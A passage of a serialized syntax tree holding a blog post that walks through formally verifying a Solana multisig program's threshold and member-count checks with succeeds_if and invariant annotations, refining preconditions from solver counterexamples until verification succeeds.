{\n",{"type":23,"tag":504,"props":25651,"children":25653},{"class":5016,"line":25652},36,[25654,25658,25662,25666,25670,25674,25679],{"type":23,"tag":504,"props":25655,"children":25656},{"style":5067},[25657],{"type":29,"value":17791},{"type":23,"tag":504,"props":25659,"children":25660},{"style":5139},[25661],{"type":29,"value":25560},{"type":23,"tag":504,"props":25663,"children":25664},{"style":5058},[25665],{"type":29,"value":603},{"type":23,"tag":504,"props":25667,"children":25668},{"style":5467},[25669],{"type":29,"value":25569},{"type":23,"tag":504,"props":25671,"children":25672},{"style":5047},[25673],{"type":29,"value":5530},{"type":23,"tag":504,"props":25675,"children":25676},{"style":5467},[25677],{"type":29,"value":25678},"MaxMembersReached",{"type":23,"tag":504,"props":25680,"children":25681},{"style":5058},[25682],{"type":29,"value":5888},{"type":23,"tag":504,"props":25684,"children":25686},{"class":5016,"line":25685},37,[25687],{"type":23,"tag":504,"props":25688,"children":25689},{"style":5058},[25690],{"type":29,"value":5403},{"type":23,"tag":504,"props":25692,"children":25694},{"class":5016,"line":25693},38,[25695],{"type":23,"tag":504,"props":25696,"children":25697},{"emptyLinePlaceholder":15},[25698],{"type":29,"value":5734},{"type":23,"tag":504,"props":25700,"children":25702},{"class":5016,"line":25701},39,[25703],{"type":23,"tag":504,"props":25704,"children":25705},{"style":5021},[25706],{"type":29,"value":25707},"    // make sure threshold is valid\n",{"type":23,"tag":504,"props":25709,"children":25711},{"class":5016,"line":25710},40,[25712,25716,25720,25724,25728,25732,25736,25741,25745,25750,25754,25758,25762,25766,25770,25775,25780],{"type":23,"tag":504,"props":25713,"children":25714},{"style":5067},[25715],{"type":29,"value":14325},{"type":23,"tag":504,"props":25717,"children":25718},{"style":5467},[25719],{"type":29,"value":15777},{"type":23,"tag":504,"props":25721,"children":25722},{"style":5047},[25723],{"type":29,"value":5530},{"type":23,"tag":504,"props":25725,"children":25726},{"style":5139},[25727],{"type":29,"value":21525},{"type":23,"tag":504,"props":25729,"children":25730},{"style":5058},[25731],{"type":29,"value":603},{"type":23,"tag":504,"props":25733,"children":25734},{"style":5041},[25735],{"type":29,"value":24790},{"type":23,"tag":504,"props":25737,"children":25738},{"style":5058},[25739],{"type":29,"value":25740},") \u003C ",{"type":23,"tag":504,"props":25742,"children":25743},{"style":5083},[25744],{"type":29,"value":826},{"type":23,"tag":504,"props":25746,"children":25747},{"style":5047},[25748],{"type":29,"value":25749}," ||",{"type":23,"tag":504,"props":25751,"children":25752},{"style":5467},[25753],{"type":29,"value":15777},{"type":23,"tag":504,"props":25755,"children":25756},{"style":5047},[25757],{"type":29,"value":5530},{"type":23,"tag":504,"props":25759,"children":25760},{"style":5139},[25761],{"type":29,"value":21525},{"type":23,"tag":504,"props":25763,"children":25764},{"style":5058},[25765],{"type":29,"value":603},{"type":23,"tag":504,"props":25767,"children":25768},{"style":5041},[25769],{"type":29,"value":24790},{"type":23,"tag":504,"props":25771,"children":25772},{"style":5058},[25773],{"type":29,"value":25774},") > ",{"type":23,"tag":504,"props":25776,"children":25777},{"style":5041},[25778],{"type":29,"value":25779},"total_members",{"type":23,"tag":504,"props":25781,"children":25782},{"style":5058},[25783],{"type":29,"value":5333},{"type":23,"tag":504,"props":25785,"children":25787},{"class":5016,"line":25786},41,[25788,25792,25796,25800,25804,25808,25813],{"type":23,"tag":504,"props":25789,"children":25790},{"style":5067},[25791],{"type":29,"value":17791},{"type":23,"tag":504,"props":25793,"children":25794},{"style":5139},[25795],{"type":29,"value":25560},{"type":23,"tag":504,"props":25797,"children":25798},{"style":5058},[25799],{"type":29,"value":603},{"type":23,"tag":504,"props":25801,"children":25802},{"style":5467},[25803],{"type":29,"value":25569},{"type":23,"tag":504,"props":25805,"children":25806},{"style":5047},[25807],{"type":29,"value":5530},{"type":23,"tag":504,"props":25809,"children":25810},{"style":5467},[25811],{"type":29,"value":25812},"InvalidThreshold",{"type":23,"tag":504,"props":25814,"children":25815},{"style":5058},[25816],{"type":29,"value":5888},{"type":23,"tag":504,"props":25818,"children":25820},{"class":5016,"line":25819},42,[25821],{"type":23,"tag":504,"props":25822,"children":25823},{"style":5058},[25824],{"type":29,"value":5403},{"type":23,"tag":504,"props":25826,"children":25828},{"class":5016,"line":25827},43,[25829],{"type":23,"tag":504,"props":25830,"children":25831},{"emptyLinePlaceholder":15},[25832],{"type":29,"value":5734},{"type":23,"tag":504,"props":25834,"children":25836},{"class":5016,"line":25835},44,[25837,25841,25845,25849,25853,25858,25862,25866],{"type":23,"tag":504,"props":25838,"children":25839},{"style":5041},[25840],{"type":29,"value":22276},{"type":23,"tag":504,"props":25842,"children":25843},{"style":5047},[25844],{"type":29,"value":357},{"type":23,"tag":504,"props":25846,"children":25847},{"style":5058},[25848],{"type":29,"value":16721},{"type":23,"tag":504,"props":25850,"children":25851},{"style":5047},[25852],{"type":29,"value":357},{"type":23,"tag":504,"props":25854,"children":25855},{"style":5058},[25856],{"type":29,"value":25857},"multisig",{"type":23,"tag":504,"props":25859,"children":25860},{"style":5047},[25861],{"type":29,"value":357},{"type":23,"tag":504,"props":25863,"children":25864},{"style":5139},[25865],{"type":29,"value":22793},{"type":23,"tag":504,"props":25867,"children":25868},{"style":5058},[25869],{"type":29,"value":5512},{"type":23,"tag":504,"props":25871,"children":25873},{"class":5016,"line":25872},45,[25874,25879],{"type":23,"tag":504,"props":25875,"children":25876},{"style":5041},[25877],{"type":29,"value":25878},"        threshold",{"type":23,"tag":504,"props":25880,"children":25881},{"style":5058},[25882],{"type":29,"value":5557},{"type":23,"tag":504,"props":25884,"children":25886},{"class":5016,"line":25885},46,[25887,25892],{"type":23,"tag":504,"props":25888,"children":25889},{"style":5041},[25890],{"type":29,"value":25891},"        create_key",{"type":23,"tag":504,"props":25893,"children":25894},{"style":5058},[25895],{"type":29,"value":5557},{"type":23,"tag":504,"props":25897,"children":25899},{"class":5016,"line":25898},47,[25900,25905],{"type":23,"tag":504,"props":25901,"children":25902},{"style":5041},[25903],{"type":29,"value":25904},"        members",{"type":23,"tag":504,"props":25906,"children":25907},{"style":5058},[25908],{"type":29,"value":5557},{"type":23,"tag":504,"props":25910,"children":25912},{"class":5016,"line":25911},48,[25913,25917,25921,25925,25930,25934,25938,25942,25947,25951,25955,25959],{"type":23,"tag":504,"props":25914,"children":25915},{"style":5047},[25916],{"type":29,"value":9796},{"type":23,"tag":504,"props":25918,"children":25919},{"style":5041},[25920],{"type":29,"value":22333},{"type":23,"tag":504,"props":25922,"children":25923},{"style":5047},[25924],{"type":29,"value":357},{"type":23,"tag":504,"props":25926,"children":25927},{"style":5058},[25928],{"type":29,"value":25929},"bumps",{"type":23,"tag":504,"props":25931,"children":25932},{"style":5047},[25933],{"type":29,"value":357},{"type":23,"tag":504,"props":25935,"children":25936},{"style":5139},[25937],{"type":29,"value":18399},{"type":23,"tag":504,"props":25939,"children":25940},{"style":5058},[25941],{"type":29,"value":603},{"type":23,"tag":504,"props":25943,"children":25944},{"style":6297},[25945],{"type":29,"value":25946},"\"multisig\"",{"type":23,"tag":504,"props":25948,"children":25949},{"style":5058},[25950],{"type":29,"value":933},{"type":23,"tag":504,"props":25952,"children":25953},{"style":5047},[25954],{"type":29,"value":357},{"type":23,"tag":504,"props":25956,"children":25957},{"style":5139},[25958],{"type":29,"value":5720},{"type":23,"tag":504,"props":25960,"children":25961},{"style":5058},[25962],{"type":29,"value":5540},{"type":23,"tag":504,"props":25964,"children":25966},{"class":5016,"line":25965},49,[25967],{"type":23,"tag":504,"props":25968,"children":25969},{"style":5058},[25970],{"type":29,"value":25971},"    )\n",{"type":23,"tag":504,"props":25973,"children":25975},{"class":5016,"line":25974},50,[25976],{"type":23,"tag":504,"props":25977,"children":25978},{"style":5058},[25979],{"type":29,"value":5965},{"type":23,"tag":32,"props":25981,"children":25982},{},[25983,25985,25990,25992,25997],{"type":29,"value":25984},"We can start by testing an empty ",{"type":23,"tag":154,"props":25986,"children":25988},{"className":25987},[],[25989],{"type":29,"value":22207},{"type":29,"value":25991}," (this will default to ",{"type":23,"tag":154,"props":25993,"children":25995},{"className":25994},[],[25996],{"type":29,"value":513},{"type":29,"value":25998},"):",{"type":23,"tag":4743,"props":26000,"children":26002},{"code":26001,"language":5008,"meta":7,"className":5009,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[26003],{"type":23,"tag":154,"props":26004,"children":26005},{"__ignoreMap":7},[26006,26014],{"type":23,"tag":504,"props":26007,"children":26008},{"class":5016,"line":5017},[26009],{"type":23,"tag":504,"props":26010,"children":26011},{"style":5058},[26012],{"type":29,"value":26013},"#[succeeds_if()]\n",{"type":23,"tag":504,"props":26015,"children":26016},{"class":5016,"line":4868},[26017,26021,26025,26029,26033,26037,26042,26046],{"type":23,"tag":504,"props":26018,"children":26019},{"style":5030},[26020],{"type":29,"value":15736},{"type":23,"tag":504,"props":26022,"children":26023},{"style":5030},[26024],{"type":29,"value":15741},{"type":23,"tag":504,"props":26026,"children":26027},{"style":5139},[26028],{"type":29,"value":9156},{"type":23,"tag":504,"props":26030,"children":26031},{"style":5058},[26032],{"type":29,"value":603},{"type":23,"tag":504,"props":26034,"children":26035},{"style":5047},[26036],{"type":29,"value":853},{"type":23,"tag":504,"props":26038,"children":26039},{"style":5058},[26040],{"type":29,"value":26041},") { ",{"type":23,"tag":504,"props":26043,"children":26044},{"style":5047},[26045],{"type":29,"value":853},{"type":23,"tag":504,"props":26047,"children":26048},{"style":5058},[26049],{"type":29,"value":11642},{"type":23,"tag":32,"props":26051,"children":26052},{},[26053],{"type":29,"value":26054},"Running the solver, we get:",{"type":23,"tag":4743,"props":26056,"children":26058},{"code":26057},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[26059],{"type":23,"tag":154,"props":26060,"children":26061},{"__ignoreMap":7},[26062],{"type":29,"value":26057},{"type":23,"tag":32,"props":26064,"children":26065},{},[26066,26068,26073],{"type":29,"value":26067},"This means that ",{"type":23,"tag":154,"props":26069,"children":26071},{"className":26070},[],[26072],{"type":29,"value":513},{"type":29,"value":26074}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":32,"props":26076,"children":26077},{},[26078],{"type":29,"value":26079},"We can ask the solver to produce a counterexample:",{"type":23,"tag":4743,"props":26081,"children":26083},{"code":26082},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[26084],{"type":23,"tag":154,"props":26085,"children":26086},{"__ignoreMap":7},[26087],{"type":29,"value":26082},{"type":23,"tag":32,"props":26089,"children":26090},{},[26091],{"type":29,"value":26092},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":32,"props":26094,"children":26095},{},[26096],{"type":23,"tag":4321,"props":26097,"children":26098},{},[26099,26101,26107],{"type":29,"value":26100},"Note also that the verifier decided to use a ",{"type":23,"tag":154,"props":26102,"children":26104},{"className":26103},[],[26105],{"type":29,"value":26106},"SparseVec",{"type":29,"value":26108}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":32,"props":26110,"children":26111},{},[26112],{"type":23,"tag":4321,"props":26113,"children":26114},{},[26115,26117,26122,26123,26129,26131,26136,26138,26143],{"type":29,"value":26116},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":154,"props":26118,"children":26120},{"className":26119},[],[26121],{"type":29,"value":5874},{"type":29,"value":4478},{"type":23,"tag":154,"props":26124,"children":26126},{"className":26125},[],[26127],{"type":29,"value":26128},"pop",{"type":29,"value":26130}," are stubbed out to simply panic for the ",{"type":23,"tag":154,"props":26132,"children":26134},{"className":26133},[],[26135],{"type":29,"value":26106},{"type":29,"value":26137}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":154,"props":26139,"children":26141},{"className":26140},[],[26142],{"type":29,"value":19259},{"type":29,"value":26144}," type.",{"type":23,"tag":32,"props":26146,"children":26147},{},[26148],{"type":29,"value":26149},"We can add this to our constraint and try again:",{"type":23,"tag":4743,"props":26151,"children":26153},{"code":26152,"language":5008,"meta":7,"className":5009,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[26154],{"type":23,"tag":154,"props":26155,"children":26156},{"__ignoreMap":7},[26157,26165,26202,26209],{"type":23,"tag":504,"props":26158,"children":26159},{"class":5016,"line":5017},[26160],{"type":23,"tag":504,"props":26161,"children":26162},{"style":5058},[26163],{"type":29,"value":26164},"#[succeeds_if(\n",{"type":23,"tag":504,"props":26166,"children":26167},{"class":5016,"line":4868},[26168,26173,26177,26181,26185,26189,26193,26197],{"type":23,"tag":504,"props":26169,"children":26170},{"style":5058},[26171],{"type":29,"value":26172},"    (threshold ",{"type":23,"tag":504,"props":26174,"children":26175},{"style":5030},[26176],{"type":29,"value":10887},{"type":23,"tag":504,"props":26178,"children":26179},{"style":5467},[26180],{"type":29,"value":15777},{"type":23,"tag":504,"props":26182,"children":26183},{"style":5058},[26184],{"type":29,"value":5128},{"type":23,"tag":504,"props":26186,"children":26187},{"style":5047},[26188],{"type":29,"value":21466},{"type":23,"tag":504,"props":26190,"children":26191},{"style":5058},[26192],{"type":29,"value":25425},{"type":23,"tag":504,"props":26194,"children":26195},{"style":5047},[26196],{"type":29,"value":357},{"type":23,"tag":504,"props":26198,"children":26199},{"style":5058},[26200],{"type":29,"value":26201},"len()\n",{"type":23,"tag":504,"props":26203,"children":26204},{"class":5016,"line":4876},[26205],{"type":23,"tag":504,"props":26206,"children":26207},{"style":5058},[26208],{"type":29,"value":22311},{"type":23,"tag":504,"props":26210,"children":26211},{"class":5016,"line":5099},[26212,26216,26220,26224,26228,26232,26236,26240],{"type":23,"tag":504,"props":26213,"children":26214},{"style":5030},[26215],{"type":29,"value":15736},{"type":23,"tag":504,"props":26217,"children":26218},{"style":5030},[26219],{"type":29,"value":15741},{"type":23,"tag":504,"props":26221,"children":26222},{"style":5139},[26223],{"type":29,"value":9156},{"type":23,"tag":504,"props":26225,"children":26226},{"style":5058},[26227],{"type":29,"value":603},{"type":23,"tag":504,"props":26229,"children":26230},{"style":5047},[26231],{"type":29,"value":853},{"type":23,"tag":504,"props":26233,"children":26234},{"style":5058},[26235],{"type":29,"value":26041},{"type":23,"tag":504,"props":26237,"children":26238},{"style":5047},[26239],{"type":29,"value":853},{"type":23,"tag":504,"props":26241,"children":26242},{"style":5058},[26243],{"type":29,"value":11642},{"type":23,"tag":32,"props":26245,"children":26246},{},[26247],{"type":29,"value":26248},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":4743,"props":26250,"children":26252},{"code":26251},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[26253],{"type":23,"tag":154,"props":26254,"children":26255},{"__ignoreMap":7},[26256],{"type":29,"value":26251},{"type":23,"tag":32,"props":26258,"children":26259},{},[26260],{"type":29,"value":26261},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":4743,"props":26263,"children":26265},{"code":26264,"language":5008,"meta":7,"className":5009,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[26266],{"type":23,"tag":154,"props":26267,"children":26268},{"__ignoreMap":7},[26269,26276,26311,26332,26339],{"type":23,"tag":504,"props":26270,"children":26271},{"class":5016,"line":5017},[26272],{"type":23,"tag":504,"props":26273,"children":26274},{"style":5058},[26275],{"type":29,"value":26164},{"type":23,"tag":504,"props":26277,"children":26278},{"class":5016,"line":4868},[26279,26283,26287,26291,26295,26299,26303,26307],{"type":23,"tag":504,"props":26280,"children":26281},{"style":5058},[26282],{"type":29,"value":26172},{"type":23,"tag":504,"props":26284,"children":26285},{"style":5030},[26286],{"type":29,"value":10887},{"type":23,"tag":504,"props":26288,"children":26289},{"style":5467},[26290],{"type":29,"value":15777},{"type":23,"tag":504,"props":26292,"children":26293},{"style":5058},[26294],{"type":29,"value":5128},{"type":23,"tag":504,"props":26296,"children":26297},{"style":5047},[26298],{"type":29,"value":21466},{"type":23,"tag":504,"props":26300,"children":26301},{"style":5058},[26302],{"type":29,"value":25425},{"type":23,"tag":504,"props":26304,"children":26305},{"style":5047},[26306],{"type":29,"value":357},{"type":23,"tag":504,"props":26308,"children":26309},{"style":5058},[26310],{"type":29,"value":26201},{"type":23,"tag":504,"props":26312,"children":26313},{"class":5016,"line":4876},[26314,26318,26323,26327],{"type":23,"tag":504,"props":26315,"children":26316},{"style":5047},[26317],{"type":29,"value":17668},{"type":23,"tag":504,"props":26319,"children":26320},{"style":5058},[26321],{"type":29,"value":26322}," threshold ",{"type":23,"tag":504,"props":26324,"children":26325},{"style":5047},[26326],{"type":29,"value":17735},{"type":23,"tag":504,"props":26328,"children":26329},{"style":5058},[26330],{"type":29,"value":26331}," 0\n",{"type":23,"tag":504,"props":26333,"children":26334},{"class":5016,"line":5099},[26335],{"type":23,"tag":504,"props":26336,"children":26337},{"style":5058},[26338],{"type":29,"value":22311},{"type":23,"tag":504,"props":26340,"children":26341},{"class":5016,"line":5203},[26342,26346,26350,26354,26358,26362,26366,26370],{"type":23,"tag":504,"props":26343,"children":26344},{"style":5030},[26345],{"type":29,"value":15736},{"type":23,"tag":504,"props":26347,"children":26348},{"style":5030},[26349],{"type":29,"value":15741},{"type":23,"tag":504,"props":26351,"children":26352},{"style":5139},[26353],{"type":29,"value":9156},{"type":23,"tag":504,"props":26355,"children":26356},{"style":5058},[26357],{"type":29,"value":603},{"type":23,"tag":504,"props":26359,"children":26360},{"style":5047},[26361],{"type":29,"value":853},{"type":23,"tag":504,"props":26363,"children":26364},{"style":5058},[26365],{"type":29,"value":26041},{"type":23,"tag":504,"props":26367,"children":26368},{"style":5047},[26369],{"type":29,"value":853},{"type":23,"tag":504,"props":26371,"children":26372},{"style":5058},[26373],{"type":29,"value":11642},{"type":23,"tag":32,"props":26375,"children":26376},{},[26377],{"type":29,"value":26378},"A third counterexample:",{"type":23,"tag":4743,"props":26380,"children":26382},{"code":26381},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[26383],{"type":23,"tag":154,"props":26384,"children":26385},{"__ignoreMap":7},[26386],{"type":29,"value":26381},{"type":23,"tag":32,"props":26388,"children":26389},{},[26390,26392,26398],{"type":29,"value":26391},"Here we see the size of our ",{"type":23,"tag":154,"props":26393,"children":26395},{"className":26394},[],[26396],{"type":29,"value":26397},"members",{"type":29,"value":26399}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":4743,"props":26401,"children":26403},{"code":26402,"language":5008,"meta":7,"className":5009,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[26404],{"type":23,"tag":154,"props":26405,"children":26406},{"__ignoreMap":7},[26407,26414,26449,26470,26522,26529],{"type":23,"tag":504,"props":26408,"children":26409},{"class":5016,"line":5017},[26410],{"type":23,"tag":504,"props":26411,"children":26412},{"style":5058},[26413],{"type":29,"value":26164},{"type":23,"tag":504,"props":26415,"children":26416},{"class":5016,"line":4868},[26417,26421,26425,26429,26433,26437,26441,26445],{"type":23,"tag":504,"props":26418,"children":26419},{"style":5058},[26420],{"type":29,"value":26172},{"type":23,"tag":504,"props":26422,"children":26423},{"style":5030},[26424],{"type":29,"value":10887},{"type":23,"tag":504,"props":26426,"children":26427},{"style":5467},[26428],{"type":29,"value":15777},{"type":23,"tag":504,"props":26430,"children":26431},{"style":5058},[26432],{"type":29,"value":5128},{"type":23,"tag":504,"props":26434,"children":26435},{"style":5047},[26436],{"type":29,"value":21466},{"type":23,"tag":504,"props":26438,"children":26439},{"style":5058},[26440],{"type":29,"value":25425},{"type":23,"tag":504,"props":26442,"children":26443},{"style":5047},[26444],{"type":29,"value":357},{"type":23,"tag":504,"props":26446,"children":26447},{"style":5058},[26448],{"type":29,"value":26201},{"type":23,"tag":504,"props":26450,"children":26451},{"class":5016,"line":4876},[26452,26456,26461,26465],{"type":23,"tag":504,"props":26453,"children":26454},{"style":5047},[26455],{"type":29,"value":17668},{"type":23,"tag":504,"props":26457,"children":26458},{"style":5058},[26459],{"type":29,"value":26460}," (threshold ",{"type":23,"tag":504,"props":26462,"children":26463},{"style":5047},[26464],{"type":29,"value":17735},{"type":23,"tag":504,"props":26466,"children":26467},{"style":5058},[26468],{"type":29,"value":26469}," 0)\n",{"type":23,"tag":504,"props":26471,"children":26472},{"class":5016,"line":5099},[26473,26477,26481,26485,26489,26493,26497,26502,26506,26510,26514,26518],{"type":23,"tag":504,"props":26474,"children":26475},{"style":5047},[26476],{"type":29,"value":17668},{"type":23,"tag":504,"props":26478,"children":26479},{"style":5058},[26480],{"type":29,"value":25039},{"type":23,"tag":504,"props":26482,"children":26483},{"style":5047},[26484],{"type":29,"value":357},{"type":23,"tag":504,"props":26486,"children":26487},{"style":5058},[26488],{"type":29,"value":23073},{"type":23,"tag":504,"props":26490,"children":26491},{"style":5047},[26492],{"type":29,"value":21466},{"type":23,"tag":504,"props":26494,"children":26495},{"style":5058},[26496],{"type":29,"value":5110},{"type":23,"tag":504,"props":26498,"children":26499},{"style":5467},[26500],{"type":29,"value":26501},"u16",{"type":23,"tag":504,"props":26503,"children":26504},{"style":5047},[26505],{"type":29,"value":5530},{"type":23,"tag":504,"props":26507,"children":26508},{"style":5467},[26509],{"type":29,"value":23091},{"type":23,"tag":504,"props":26511,"children":26512},{"style":5030},[26513],{"type":29,"value":10873},{"type":23,"tag":504,"props":26515,"children":26516},{"style":5467},[26517],{"type":29,"value":15777},{"type":23,"tag":504,"props":26519,"children":26520},{"style":5058},[26521],{"type":29,"value":21764},{"type":23,"tag":504,"props":26523,"children":26524},{"class":5016,"line":5203},[26525],{"type":23,"tag":504,"props":26526,"children":26527},{"style":5058},[26528],{"type":29,"value":22311},{"type":23,"tag":504,"props":26530,"children":26531},{"class":5016,"line":5308},[26532,26536,26540,26544,26548,26552,26556,26560],{"type":23,"tag":504,"props":26533,"children":26534},{"style":5030},[26535],{"type":29,"value":15736},{"type":23,"tag":504,"props":26537,"children":26538},{"style":5030},[26539],{"type":29,"value":15741},{"type":23,"tag":504,"props":26541,"children":26542},{"style":5139},[26543],{"type":29,"value":9156},{"type":23,"tag":504,"props":26545,"children":26546},{"style":5058},[26547],{"type":29,"value":603},{"type":23,"tag":504,"props":26549,"children":26550},{"style":5047},[26551],{"type":29,"value":853},{"type":23,"tag":504,"props":26553,"children":26554},{"style":5058},[26555],{"type":29,"value":26041},{"type":23,"tag":504,"props":26557,"children":26558},{"style":5047},[26559],{"type":29,"value":853},{"type":23,"tag":504,"props":26561,"children":26562},{"style":5058},[26563],{"type":29,"value":11642},{"type":23,"tag":32,"props":26565,"children":26566},{},[26567],{"type":29,"value":26568},"And now we get:",{"type":23,"tag":4743,"props":26570,"children":26572},{"code":26571},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[26573],{"type":23,"tag":154,"props":26574,"children":26575},{"__ignoreMap":7},[26576],{"type":29,"value":26571},{"type":23,"tag":32,"props":26578,"children":26579},{},[26580],{"type":29,"value":26581},"🥳🥳🥳",{"type":23,"tag":32,"props":26583,"children":26584},{},[26585],{"type":29,"value":26586},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":4743,"props":26588,"children":26590},{"code":26589,"language":5008,"meta":7,"className":5009,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[26591],{"type":23,"tag":154,"props":26592,"children":26593},{"__ignoreMap":7},[26594,26617,26648],{"type":23,"tag":504,"props":26595,"children":26596},{"class":5016,"line":5017},[26597,26601,26605,26609,26613],{"type":23,"tag":504,"props":26598,"children":26599},{"style":5067},[26600],{"type":29,"value":17626},{"type":23,"tag":504,"props":26602,"children":26603},{"style":5041},[26604],{"type":29,"value":25504},{"type":23,"tag":504,"props":26606,"children":26607},{"style":5047},[26608],{"type":29,"value":10764},{"type":23,"tag":504,"props":26610,"children":26611},{"style":5083},[26612],{"type":29,"value":6565},{"type":23,"tag":504,"props":26614,"children":26615},{"style":5058},[26616],{"type":29,"value":5333},{"type":23,"tag":504,"props":26618,"children":26619},{"class":5016,"line":4868},[26620,26624,26628,26632,26636,26640,26644],{"type":23,"tag":504,"props":26621,"children":26622},{"style":5067},[26623],{"type":29,"value":19037},{"type":23,"tag":504,"props":26625,"children":26626},{"style":5139},[26627],{"type":29,"value":25560},{"type":23,"tag":504,"props":26629,"children":26630},{"style":5058},[26631],{"type":29,"value":603},{"type":23,"tag":504,"props":26633,"children":26634},{"style":5467},[26635],{"type":29,"value":25569},{"type":23,"tag":504,"props":26637,"children":26638},{"style":5047},[26639],{"type":29,"value":5530},{"type":23,"tag":504,"props":26641,"children":26642},{"style":5467},[26643],{"type":29,"value":25578},{"type":23,"tag":504,"props":26645,"children":26646},{"style":5058},[26647],{"type":29,"value":5888},{"type":23,"tag":504,"props":26649,"children":26650},{"class":5016,"line":4876},[26651],{"type":23,"tag":504,"props":26652,"children":26653},{"style":5058},[26654],{"type":29,"value":5965},{"type":23,"tag":32,"props":26656,"children":26657},{},[26658,26660,26666,26668,26673,26675,26680,26682,26687],{"type":29,"value":26659},"In this case this is actually redundant because if ",{"type":23,"tag":154,"props":26661,"children":26663},{"className":26662},[],[26664],{"type":29,"value":26665},"members.len() == 0",{"type":29,"value":26667}," then our threshold would also have to be ",{"type":23,"tag":154,"props":26669,"children":26671},{"className":26670},[],[26672],{"type":29,"value":708},{"type":29,"value":26674}," (and our ",{"type":23,"tag":154,"props":26676,"children":26678},{"className":26677},[],[26679],{"type":29,"value":24790},{"type":29,"value":26681}," is not allowed to be ",{"type":23,"tag":154,"props":26683,"children":26685},{"className":26684},[],[26686],{"type":29,"value":708},{"type":29,"value":26688},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":320,"props":26690,"children":26692},{"id":26691},"_2-verify-threshold-requirements",[26693],{"type":29,"value":26694},"2. Verify threshold requirements",{"type":23,"tag":32,"props":26696,"children":26697},{},[26698],{"type":29,"value":26699},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":32,"props":26701,"children":26702},{},[26703,26705,26709],{"type":29,"value":26704},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":4321,"props":26706,"children":26707},{},[26708],{"type":29,"value":11347},{"type":29,"value":26710}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":32,"props":26712,"children":26713},{},[26714,26716,26720,26722,26727],{"type":29,"value":26715},"In this case, we want to model this as an ",{"type":23,"tag":4321,"props":26717,"children":26718},{},[26719],{"type":29,"value":23820},{"type":29,"value":26721}," on the ",{"type":23,"tag":154,"props":26723,"children":26725},{"className":26724},[],[26726],{"type":29,"value":24782},{"type":29,"value":26728}," account struct:",{"type":23,"tag":4743,"props":26730,"children":26732},{"code":26731,"language":5008,"meta":7,"className":5009,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[26733],{"type":23,"tag":154,"props":26734,"children":26735},{"__ignoreMap":7},[26736,26743,26768,26775,26799,26850,26857,26876,26903,26930,26957,26984,27011,27038,27065,27100],{"type":23,"tag":504,"props":26737,"children":26738},{"class":5016,"line":5017},[26739],{"type":23,"tag":504,"props":26740,"children":26741},{"style":5058},[26742],{"type":29,"value":22822},{"type":23,"tag":504,"props":26744,"children":26745},{"class":5016,"line":4868},[26746,26750,26755,26759,26764],{"type":23,"tag":504,"props":26747,"children":26748},{"style":5058},[26749],{"type":29,"value":24878},{"type":23,"tag":504,"props":26751,"children":26752},{"style":5467},[26753],{"type":29,"value":26754},"Clone",{"type":23,"tag":504,"props":26756,"children":26757},{"style":5058},[26758],{"type":29,"value":4367},{"type":23,"tag":504,"props":26760,"children":26761},{"style":5467},[26762],{"type":29,"value":26763},"Debug",{"type":23,"tag":504,"props":26765,"children":26766},{"style":5058},[26767],{"type":29,"value":22311},{"type":23,"tag":504,"props":26769,"children":26770},{"class":5016,"line":4876},[26771],{"type":23,"tag":504,"props":26772,"children":26773},{"style":5058},[26774],{"type":29,"value":22830},{"type":23,"tag":504,"props":26776,"children":26777},{"class":5016,"line":5099},[26778,26783,26787,26791,26795],{"type":23,"tag":504,"props":26779,"children":26780},{"style":5058},[26781],{"type":29,"value":26782},"    